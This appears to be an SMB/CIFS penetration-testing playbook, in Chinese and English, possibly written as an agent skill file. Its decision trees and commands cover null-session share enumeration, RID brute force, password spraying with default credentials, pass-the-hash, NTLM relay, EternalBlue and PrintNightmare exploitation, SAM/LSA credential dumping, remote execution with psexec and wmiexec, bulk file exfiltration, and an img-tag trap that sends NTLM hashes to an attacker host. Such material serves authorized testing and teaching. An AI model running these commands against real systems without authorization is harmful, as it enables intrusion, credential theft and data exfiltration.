smb-pentesting

SMB/CIFS Penetration Testing Methodology (139/445)

In-Depth Reference

• Enumeration Command Reference (enum4linux / smbclient / crackmapexec / rpcclient) -> Read references/smb-enumeration-commands.md
• Vulnerability Exploitation and Relay Attacks (EternalBlue / PrintNightmare / CVE List / Relay) -> Read references/smb-exploitation.md

---

Overall Decision Tree

发现 139/445 端口开放
├─ Phase 1: 服务发现与版本识别
│   ├─ 确定 SMB 版本 (SMBv1 / v2 / v3)
│   ├─ 确定操作系统版本
│   └─ 判断是否域环境
│       ├─ 是 -> 记录域名，进入 Phase 3 深度枚举
│       └─ 否 -> 工作组环境，侧重共享枚举
├─ Phase 2: 共享枚举
│   ├─ 空会话 (null session) 测试
│   │   ├─ 成功 -> 列举所有共享，检查 IPC$/SYSVOL/NETLOGON
│   │   └─ 失败 -> 尝试 guest 账户 -> 尝试已知凭据
│   ├─ 可读共享 -> 下载敏感文件 (Registry.xml / web.config / 脚本)
│   └─ 可写共享 -> 标记用于后续利用 (SCF/LNK 投毒、Logon Script 注入)
├─ Phase 3: 用户与组枚举
│   ├─ RPC 枚举 (rpcclient / enum4linux)
│   ├─ RID 爆破 (lookupsid.py / crackmapexec --rid-brute)
│   └─ LDAP 查询 (ldapsearch, 仅域环境)
├─ Phase 4: 凭据攻击
│   ├─ 密码喷洒 (crackmapexec / hydra)
│   ├─ Pass-the-Hash (smbclient / psexec.py / wmiexec.py)
│   └─ NTLM Relay (Responder + ntlmrelayx)
├─ Phase 5: 漏洞利用
│   ├─ SMBv1 -> 检测 MS17-010 (EternalBlue)
│   ├─ 打印服务 -> PrintNightmare (CVE-2021-34527)
│   └─ 其他 CVE -> 读 references/smb-exploitation.md
└─ Phase 6: 后渗透
    ├─ 远程命令执行 (psexec / smbexec / wmiexec / atexec)
    ├─ 凭据提取 (SAM/LSA/LSASS dump)
    └─ 横向移动 (通过 SMB 共享传播)

---

Phase 1: Service Discovery and Version Identification

1.1 Port and NetBIOS Scanning

# NetBIOS 网段扫描 — 快速发现 SMB 主机
nbtscan -r 192.168.0.1/24

# Nmap 服务版本探测
nmap -sV -sC -p 139,445 <IP>

# Nmap SMB 专项脚本
nmap --script "safe or smb-enum-*" -p 445 <IP>

1.2 SMB Version Identification

识别 SMB 版本
├─ Metasploit: auxiliary/scanner/smb/smb_version
├─ crackmapexec smb <IP>  (输出中显示 SMBv1/v2/v3 和 OS)
└─ 手动 tcpdump 捕获 (适用于受限环境)
    └─ -> 读 references/smb-enumeration-commands.md #版本识别脚本

Key Determinations：

• SMBv1 -> High risk, MS17-010 (EternalBlue) may be present, proceed immediately to Phase 5 detection
• Samba < 3.5.0 -> CVE-2007-2447 (username map script RCE)
• Older Windows (2003/XP/2008) -> Multiple remote code execution vulnerabilities

1.3 Operating System Fingerprinting

# crackmapexec 自动输出 OS 信息
crackmapexec smb <IP>

# enum4linux 完整信息收集
enum4linux -a <IP>

---

Phase 2: Share Enumeration

2.1 Authentication Level Decision Tree

尝试列举共享
├─ 1) 空会话 (null session)
│   ├─ smbclient --no-pass -L //<IP>
│   ├─ smbmap -H <IP>
│   └─ crackmapexec smb <IP> -u '' -p '' --shares
├─ 2) Guest 账户
│   ├─ smbmap -H <IP> -u guest
│   └─ crackmapexec smb <IP> -u 'guest' -p '' --shares
├─ 3) 已知凭据
│   ├─ smbmap -u "user" -p "pass" -H <IP>
│   └─ crackmapexec smb <IP> -u 'user' -p 'pass' --shares
└─ 4) Pass-the-Hash
    └─ crackmapexec smb <IP> -u 'user' -H '<NTHASH>' --shares

2.2 Connecting and Browsing Shares

# 连接到特定共享
smbclient --no-pass //<IP>/<ShareName>
smbclient -U 'user%pass' //<IP>/<ShareName>

# 递归列出共享内容
smbmap -R <ShareName> -H <IP>
smbclient --no-pass -c 'recurse;ls' //<IP>/<ShareName>

2.3 Common Windows Shares and Sensitive Files

Default Shares：C$, D$, ADMIN$, IPC$, PRINT$, SYSVOL, NETLOGON

High-Value Files：

• Registry.xml — May contain auto-login passwords (Group Policy Preferences)
• web.config — Web application credentials
• SYSVOL scripts in — Readable by all authenticated users in a domain environment, often contain plaintext passwords
• .vmdk / .vhd — Virtual disk, hashes can be extracted offline

SYSVOL Write Test: Even if the share appears read-only, NTFS ACLs may allow writing. Use smbclient to upload a test file to verify; if writable, a logon script can be poisoned to achieve RCE.

-> Read references/smb-enumeration-commands.md for the complete share enumeration commands

2.4 Domain Share Search Tools

# Snaffler — 自动搜索域内敏感文件
Snaffler.exe -s -d domain.local -o snaffler.log -v data

# CrackMapExec spider 模块
crackmapexec smb <IP> -u user -p pass -M spider_plus --share 'ShareName'

---

Phase 3: User and Group Enumeration

3.1 Enumeration Decision Tree

用户枚举
├─ 自动化工具 (推荐首选)
│   ├─ enum4linux -a <IP>
│   └─ enum4linux-ng -A <IP>
├─ CrackMapExec
│   ├─ crackmapexec smb <IP> --users
│   ├─ crackmapexec smb <IP> --groups
│   └─ crackmapexec smb <IP> --rid-brute
├─ RPC 枚举 (rpcclient)
│   ├─ rpcclient -U "" -N <IP>  # 空会话
│   │   ├─ enumdomusers    # 列举域用户
│   │   ├─ enumdomgroups   # 列举域组
│   │   ├─ queryuser 0x<RID>  # 查询用户详情
│   │   └─ querydispinfo   # 显示用户信息
│   └─ -> 读 references/smb-enumeration-commands.md #rpcclient 命令表
├─ SID/RID 爆破
│   ├─ lookupsid.py -no-pass <hostname>
│   └─ Metasploit: auxiliary/scanner/smb/smb_lookupsid
└─ LDAP 查询 (域环境)
    └─ ldapsearch -x -b "DC=DOMAIN,DC=LOCAL" -s sub "(&(objectclass=user))" -h <IP>

3.2 RID Cycling Brute Force

# 手动 RID 爆破 (500-1100 覆盖内置账户和早期用户)
for i in $(seq 500 1100); do
    rpcclient -N -U "" <IP> -c "queryuser 0x$(printf '%x\n' $i)" \
    | grep "User Name\|user_rid\|group_rid" && echo ""
done

# Impacket lookupsid
lookupsid.py -no-pass hostname.local

---

Phase 4: Credential Attacks

4.1 Attack Path Selection

已获得用户名列表
├─ 有明文密码 -> 直接认证，进入 Phase 6
├─ 有 NTLM 哈希 -> Pass-the-Hash
│   ├─ crackmapexec smb <IP> -u user -H <NTHASH>
│   ├─ smbclient -U 'user%hash' --pw-nt-hash //<IP>/share
│   └─ psexec.py -hashes <LM:NT> user@<IP>
├─ 无凭据 -> 密码喷洒
│   ├─ crackmapexec smb <IP> -u users.txt -p 'Password1'
│   └─ hydra -t 1 -V -f -l user -P wordlist.txt <IP> smb
│   注意: 注意锁定策略！先查询: crackmapexec smb <IP> --pass-pol
└─ 网络位置优越 -> NTLM Relay
    ├─ Responder 捕获 NTLM 认证
    └─ ntlmrelayx.py 中继到目标
        └─ -> 读 references/smb-exploitation.md #Relay攻击

4.2 Common Default Credentials

Username	Common Password
(empty)	(empty)
guest	(empty)
Administrator / admin	(empty), password, administrator, admin
arcserve	arcserve, backup
tivoli / tmersrvd	tivoli, tmersrvd, admin
backupexec / backup	backupexec, backup, arcada
test / lab / demo	password, test, lab, demo

---

Phase 5: Vulnerability Exploitation

5.1 Vulnerability Detection Decision Tree

SMB 版本已知
├─ SMBv1 启用
│   ├─ MS17-010 (EternalBlue) — Windows 7/2008R2/XP/2003
│   │   ├─ 检测: nmap --script smb-vuln-ms17-010 -p 445 <IP>
│   │   └─ 利用: Metasploit exploit/windows/smb/ms17_010_eternalblue
│   ├─ MS08-067 — Windows XP/2003
│   │   ├─ 检测: nmap --script smb-vuln-ms08-067 -p 445 <IP>
│   │   └─ 利用: Metasploit exploit/windows/smb/ms08_067_netapi
│   └─ MS06-025 / MS07-029 等旧漏洞
├─ 打印服务 (Spooler) 运行
│   ├─ PrintNightmare (CVE-2021-34527) — 域控 RCE
│   └─ -> 读 references/smb-exploitation.md #PrintNightmare
├─ Samba (Linux)
│   ├─ CVE-2007-2447 — Samba 3.0.20-3.0.25rc3 username map script RCE
│   └─ CVE-2017-7494 — Samba 3.5.0+ 可写共享 RCE (SambaCry)
└─ 批量漏洞扫描
    └─ nmap -p 139,445 --script 'smb-vuln*' -Pn <IP>

-> Read references/smb-exploitation.md for the complete CVE list and exploitation details

---

Phase 6: Post-Exploitation

6.1 Remote Command Execution

拥有有效凭据/哈希 + 管理员权限
├─ psexec.py (创建服务，上传可执行文件到 ADMIN$)
│   └─ psexec.py domain/user:pass@<IP>
│   └─ psexec.py -hashes <LM:NT> admin@<IP>
├─ smbexec.py (通过 cmd.exe，无文件落地)
│   └─ smbexec.py domain/user:pass@<IP>
├─ wmiexec.py (通过 WMI/DCOM，端口 135，更隐蔽)
│   └─ wmiexec.py domain/user:pass@<IP>
├─ atexec.py (通过任务计划程序)
│   └─ atexec.py domain/user:pass@<IP> "command"
└─ crackmapexec (批量执行)
    ├─ crackmapexec smb <IP> -u admin -p pass -x "whoami"  # cmd
    └─ crackmapexec smb <IP> -u admin -p pass -X '$PSVersionTable'  # PowerShell

6.2 Credential Extraction

# SAM 数据库
crackmapexec smb <IP> -d DOMAIN -u admin -p pass --sam

# LSA Secrets
crackmapexec smb <IP> -d DOMAIN -u admin -p pass --lsa

# 远程注册表读取
reg.py domain/user@<IP> -hashes <LM:NT> query -keyName HKLM -s

6.3 File Operations and Data Exfiltration

# 挂载共享到本地
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=pass" //x.x.x.x/share /mnt/share

# 批量下载共享文件
smbclient //<IP>/<share> -U 'user%pass' -c 'recurse;prompt;mget *'

# 搜索并下载特定文件
smbmap -R Folder -H <IP> -A <FileName> -q

6.4 Kerberos Authentication (NTLM-Disabled Environment)

# 时钟同步 (避免 KRB_AP_ERR_SKEW)
sudo ntpdate <dc.fqdn>

# Kerberos 认证
smbclient --kerberos //dc.domain.com/C$
rpcclient -k dc.domain.com
netexec smb <dc.fqdn> -k

---

Samba Configuration Audit (Linux Target)

After gaining access, check /etc/samba/smb.conf for dangerous configurations:

Configuration Item	Risk Description
guest ok = yes	Allows passwordless access
read only = no / writable = yes	Allows file writing
create mask = 0777	New file permissions are too permissive
enable privileges = yes	Allows SID privilege escalation
logon script = script.sh	Logon script can be tampered with

# 检查当前连接和会话
smbstatus

---

SMB Trap and NTLM Theft

When you can control content the target accesses (such as HTML injection), automatic SMB authentication can be triggered:

强制 SMB 认证场景
├─ HTML/邮件中嵌入: <img src="\\attacker_ip\share\img.jpg">
├─ Windows URLMon.dll 自动发起 NTLM 认证
├─ Responder 监听捕获 NetNTLMv2 哈希
└─ 后续操作
    ├─ 离线破解 (hashcat / john)
    └─ NTLM Relay 中继到其他服务

-> Read references/smb-exploitation.md #NTLM窃取与SMBTrap